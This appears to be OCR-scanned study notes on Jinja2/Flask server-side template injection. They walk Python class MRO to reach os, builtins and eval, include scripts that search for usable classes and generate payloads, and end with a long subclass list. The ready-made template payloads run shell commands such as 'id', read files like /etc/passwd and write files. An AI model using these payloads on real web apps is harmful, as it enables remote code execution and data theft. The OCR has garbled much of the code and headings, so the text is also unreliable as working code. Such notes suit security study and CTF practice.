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1. EAEHE

>>> [].__class__._base__
<class 'object'>
>>> [].__class__.__mro__

(<class 'list'>, <class 'object'>)
>>> [].__class__._bases__
(<class 'object'>,)

2, TR

[].__class__._ base__._ subclasses_ ()
[].__class__._ bases_ [0].__subclasses_ ()
[].__class__ . bases_ [-1].__subclasses_ ()
[].__class__ . _mro__[-1].__subclasses_ ()

3findpayload

# print("1:","".__class_ )

# print("2:","".__class__ . bases_ )

# print("3","".__class__._mro_ )

# print("4","".__class__._ bases_ [0].__subclasses_ ())

# for m in ""._ class__ . bases_ [@].__subclasses_ ():

# print(m)

# for ¢ in [].__class__ . base . subclasses_ ():

# if (c.__name__=='catch_warnings'):

# print( c.__init_ . _globals_ ['_ builtins__ '])

def find_payload():
#"". class__ . mro_ [-1]._ subclasses_ () ====> "". class__._ bases_ [0]._ subclasses_ ()
for i,item in enumerate("".__class__ . bases_[@0]._  subclasses_ ()):

# print(i,item)
try:

if "Ac" in itam init olnahale
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print("os:",i,item)

# print(item.__init . _globals_ ['os'].system("dir ./"))
# print(item.__init . _globals_ ['os'].popen('ls").read())
# break
if "builtins" in item.__init__ . globals_ :
print("builtins:",i,item)
# print(item.__init . _globals_ ['builtins'].eval("__import__('os').popen('dir ').read()"))
# print(item.__init . _globals_ ['builtins'].eval("__import_ ('os').system('1ls')"))
if 'linecache' in item.__init__ . globals__ .keys():

print("linecache:", i, item)

except Exception as e:
pass

def find_eval():

for i,item in enumerate("".__class__._bases_ [0].__subclasses_ ()):
# if item.__name__ == 'catch_warnings':
if item.__name__=='catch_warnings':
# print(item)
# for key,b in item.__init__ . globals__.items():
for b in item.__init__ . globals__.values():
if b.__class__ == {}.__class__:

# print(b.__class_ )

if 'eval' in b.keys():
# print(b.keys())
# print(b["eval"])
print(b["eval"]('__import__("os").popen("whoami").read()"'))
# print(b["eval"])
#print(b)
# print(key)

def test():
for i ,index in enumerate("".__class__ . _mro_ [-1].__subclasses_ ()):
try:
if "builtins" in str(index.__init . globals_ ):
print(i,index.__init . _globals_ ["builtins"])
print(i, index.__init_._globals__.items())
# print(index.__init__ . globals_ ['builtins'].eval("__import_ ('os').popen('dir
").read()"))
break
except:
pass
if _name__ == '__main__':

# find_eval()
# find_payload()
test()

4. search



#1C:\Python3.7
# -*- coding:utf-8 -*-

from flask import Flask

from jinja2 import Template

# Some of special names

searchList = ['__init_ ', " _new_", '_del ', ' _repr_', ' _str_ ', ' _bytes ', '__format__', '__1t_ ',
' le_ ', ' _eq_', '_ne_"', ' gt ', ' _ge ', ' hash__', ' _bool_ ', '_getattr__', '_ getattribute__ ',
' _setattr__ ', '_dir__ ', '__delattr__ ', ' _get_ ', '_set ', ' delete_ ', ' call_ ‘',

" __instancecheck__", '__subclasscheck__', ' _len__ ', '__length_hint__ ', ' missing_',' getitem__ ',

' _setitem__', '__iter_ ','_delitem__', '__reversed__', ' _contains__', '_add__', ' _sub__',' mul_ ']
neededFunction = ['eval', 'open', 'exec']

pay = int(input("Payload?[1]@]"))

# pay = int(input("http://127.0.0.1:5000/?[1|0]"))

for index, i in enumerate({}.__class__.__base_ . __subclasses_ ()):

for attr in searchlList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]"') == 'function':
for goal in neededFunction:

if (eval('"'+goal+'" in i.'+attr+'.__globals_ ["_builtins__ "].keys()')):

if pay != 1:

print(i.__name__, , attr, goal)

else:

print("{% for c in [].__class__._base__ . subclasses_ () %}{% if c.__name__==""
+ i. _name__ + "' %}{{ c." + attr + ".__globals_ ['_builtins__ "]." + goal + "(\"[evil]\") }}{% endif %}{%
endfor %}")
5 payload
python3
#Ar AT
{% for c in [].__class__._base_ ._ subclasses_ () %}{% if c.__name_ =='catch_warnings' %}{{
c.__init_ ._globals_ ['_builtins__ '].eval("__import_ ('os').popen('id').read()") }}{% endif %}{% endfor %}
HICH BRI
{% for c in [].__class__._base_ ._ subclasses_ () %}{% if c.__name_ =='catch_warnings' %}{{
c.__init_ ._globals_ ['_ builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

python2
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{{ "'._class__._mro__[2].__subclasses_ ()[40]('/etc/passwd').read() }}
#5 3

{{ '"._class__._mro__[2]._ subclasses_ ()[4@]('/tmp/1').write("") }}
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1. BxTR

#WN: ?password={{"".__class__._ bases_ [@]._ subclasses_ ()}}

ﬁl’:ﬂ:

[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class
'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class
"traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class ‘'dict_keys'>, <class 'dict_values'>,
<class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class
'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class
'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class
'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>,
<class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class
'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class
"types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class
"instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class
'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class
'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class
"formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class
"hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class
'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class
'Token.MISSING'>, <class '_frozen_importlib. ModuleLock'>, <class '_frozen_importlib. DummyModulelLock"'>,
<class '_frozen_importlib. ModulelLockManager'>, <class '_frozen_importlib._installed_safely'>, <class

' _frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class
' _frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class

_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class
'zipimport.zipimporter'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class

' _frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FilelLoader'>, <class

' _frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespacelLoader'>, <class
' _frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class

' io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class
'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'codecs.Codec'>, <class
'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>,

<class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class
'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>,
<class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class
'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>,
<class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>,
<class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class

'collections.abc.Callable'>, <class

os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class

_sitebuiltins._Printer'>, <class '_sitebuiltins._ Helper'>, <class 'types.DynamicClassAttribute'>, <class

"types._GeneratorWrapper'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class
'_collections._deque_reverse_iterator'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class

're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class
'sre_parse.Tokenizer'>, <class 'functools.partial'>, <class 'functools._ lru_cache_wrapper'>, <class
'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class

'itertools.accumulate'>, <class 'itertools.combinations'>, <class
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LLENLUULS .. LUNDLIIALLUINIS_WLLI_'epldiemernt 2>, <Cld>> LLEILULLS..LyLlEe 2, <Cld>> LLErLovls. uropwiirie 2, <Cld>>
'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>,
<class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class
'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class
"itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>,
<class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections._Link'>, <class
"functools.partialmethod'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>,
<class 'markupsafe._MarkupEscapeHelper'>, <class 'warnings.WarningMessage'>, <class
'warnings.catch_warnings'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class
"tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class
' _weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class
"threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class

"threading.Barrier'>, <class 'threading.Thread'>, <class

_bz2.BZ2Compressor'>, <class
_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class

' _hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class
' _sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class
'_sha3.shake_256'>, <class

_random.Random'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>,
<class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class
"tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class
"tempfile.TemporaryDirectory'>, <class 'Struct'>, <class 'unpack_iterator'>, <class 'pickle._Framer'>,
<class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class

' _pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class

' _pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'urllib.parse._ResultMixinStr'>,
<class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class

' _json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class
'json.encoder.JSONEncoder'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class

'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class
'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class
'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class

' __future__._Feature'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class
'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class
'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>,
<class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class
"decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class '_ast.AST'>,
<class 'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>,
<class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class
'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class
'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class
'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaselLoader'>, <class 'select.poll'>, <class
'select.epoll’>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'datetime.date'>, <class
'datetime.timedelta’>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'dis.Bytecode'>, <class
'inspect.BlockFinder'>, <class 'inspect._void'>, <class ‘'inspect._empty'>, <class ‘'inspect.Parameter'>,
<class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'logging.LogRecord'>, <class
'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class
'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>,
<class 'logging.LoggerAdapter'>, <class 'werkzeug._ internal._ Missing'>, <class
'werkzeug._internal._DictAccessorProperty'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>,
<class 'importlib.abc.ResourceReader'>, <class 'contextlib.ContextDecorator'>, <class
'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._ BaseExitStack'>, <class
'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.utils.HTMLBuilder'>, <class
'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'socketserver.BaseServer'>, <class
'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class
'socketserver.BaseRequestHandler'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>,
<class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass’'>,
<class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>,
<class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class
'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class
_ssl. SSLContext'>, <class

'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class
'_ssl._SSLSocket'>, <class

_ _ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class
'mimetypes.MimeTypes'>, <class ‘'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class



‘click.utils.lLazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>,
<class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class
'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>,
<class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class
'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class
'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class
'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class
'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class
'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class
'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class
'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class
'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>,
<class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class
'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class
'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class
'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class
'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class

'werkzeug.wsgi._ RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class
'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class
'werkzeug.wrappers.base_response.BaseResponse'>, <class
'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class
'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class
'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class
'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class
'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class
'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class
'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>,
<class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>,
<class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class
'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class
'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class
"hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class
'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class
'flask._compat. DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>,
<class 'werkzeug.local.lLocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class
'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class
'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class
'dataclasses._DataclassParams'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class
'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class
'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class
'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class ‘'werkzeug.routing.MapAdapter'>,
<class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'flask.signals.Namespace'>, <class
'flask.signals._ FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class
'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>,
<class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._ AppCtxGlobals'>, <class 'flask.ctx.AppContext'>,
<class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class
'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class
'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class
'flask.blueprints.BlueprintSetupState'>, <class 'jinja2.ext.Extension'>, <class
'jinja2.ext._CommentFinder'>, <class 'unicodedata.UCD'>]

2 B osH AT iy @ AT K:

pythonfii s :

sub ="<class 'type'>, <class 'weakref'>, <class ‘'weakcallableproxy'>, <class ‘'weakproxy'>, <class 'int'>,
<class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>,
<class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class

'dict values'>, <class 'dict items'>, <class 'odict iterator'>, <class 'set'>, <class 'str'>, <class



'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class
'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class
'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>,
<class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class
'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class
'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>,
<class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>,
<class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class
'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class
"formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class
"hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class
'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class
'Token.MISSING'>, <class '_frozen_importlib. ModulelLock'>, <class '_frozen_importlib._ DummyModuleLock"'>,
<class '_frozen_importlib. ModulelLockManager'>, <class '_frozen_importlib._installed_safely'>, <class

' _frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class
' _frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class

! _thread._local'>, <class

_thread._localdummy'>, <class _thread.lock'>, <class '_thread.RLock'>, <class
'zipimport.zipimporter'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class

' _frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FilelLoader'>, <class

' _frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespacelLoader'>, <class

' _frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class

_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class
'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'codecs.Codec'>, <class
'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>,

<class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class
'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>,
<class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class
'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>,
<class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>,
<class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class

'collections.abc.Callable'>, <class

os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class

_sitebuiltins. Printer'>, <class '_sitebuiltins._ Helper'>, <class 'types.DynamicClassAttribute'>, <class
"types._GeneratorWrapper'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class
' _collections._deque_reverse_iterator'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class

're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class
'sre_parse.Tokenizer'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class
'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class
'itertools.accumulate'>, <class 'itertools.combinations'>, <class
'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class
'itertools.takewhile'>, <class 'itertools.islice'>, <class ‘'itertools.starmap'>, <class ‘'itertools.chain'>,
<class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class
'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class
'itertools.repeat'>, <class 'itertools.groupby'>, <class ‘'itertools._grouper'>, <class ‘'itertools._tee'>,
<class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections._Link'>, <class
'functools.partialmethod'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>,
<class 'markupsafe._MarkupEscapeHelper'>, <class 'warnings.WarningMessage'>, <class
'warnings.catch_warnings'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class
'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class

'_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class

"threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class

"threading.Barrier'>, <class 'threading.Thread'>, <class

_bz2.BZ2Compressor'>, <class
_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class

' _hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class
' _sha3.sha3_256"'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512"'>, <class '_sha3.shake_128"'>, <class

_sha3.shake_256"'>, <class '_random.Random'>, <class 'weakref.finalize. Info'>, <class 'weakref.finalize'>,
<class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class
"tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class
"tempfile.TemporaryDirectory'>, <class 'Struct'>, <class 'unpack_iterator'>, <class 'pickle._Framer'>,

<class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class



'_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class
'_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'urllib.parse._ResultMixinStr'>,
<class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class

'_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class
'json.encoder.JSONEncoder'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class
'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class
'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class
'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class
'__future__._Feature'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class
'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class
'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>,
<class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class
'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class '_ast.AST'>,
<class 'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>,
<class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class
'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class
'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class
'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaselLoader'>, <class 'select.poll'>, <class
'select.epoll’'>, <class 'selectors.BaseSelector'>, <class

"datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'dis.Bytecode'>, <class

_socket.socket'>, <class 'datetime.date'>, <class

"inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>,
<class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'logging.LogRecord'>, <class
'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class
'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>,
<class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._ Missing'>, <class
'werkzeug._internal._DictAccessorProperty'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>,
<class 'importlib.abc.ResourceReader'>, <class 'contextlib.ContextDecorator'>, <class
'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._ BaseExitStack'>, <class
'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.utils.HTMLBuilder'>, <class
'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'socketserver.BaseServer'>, <class
'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class
'socketserver.BaseRequestHandler'>, <class 'calendar._localized_month'>, <class 'calendar._localized day'>,
<class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._ parseaddr.AddrlistClass'>,
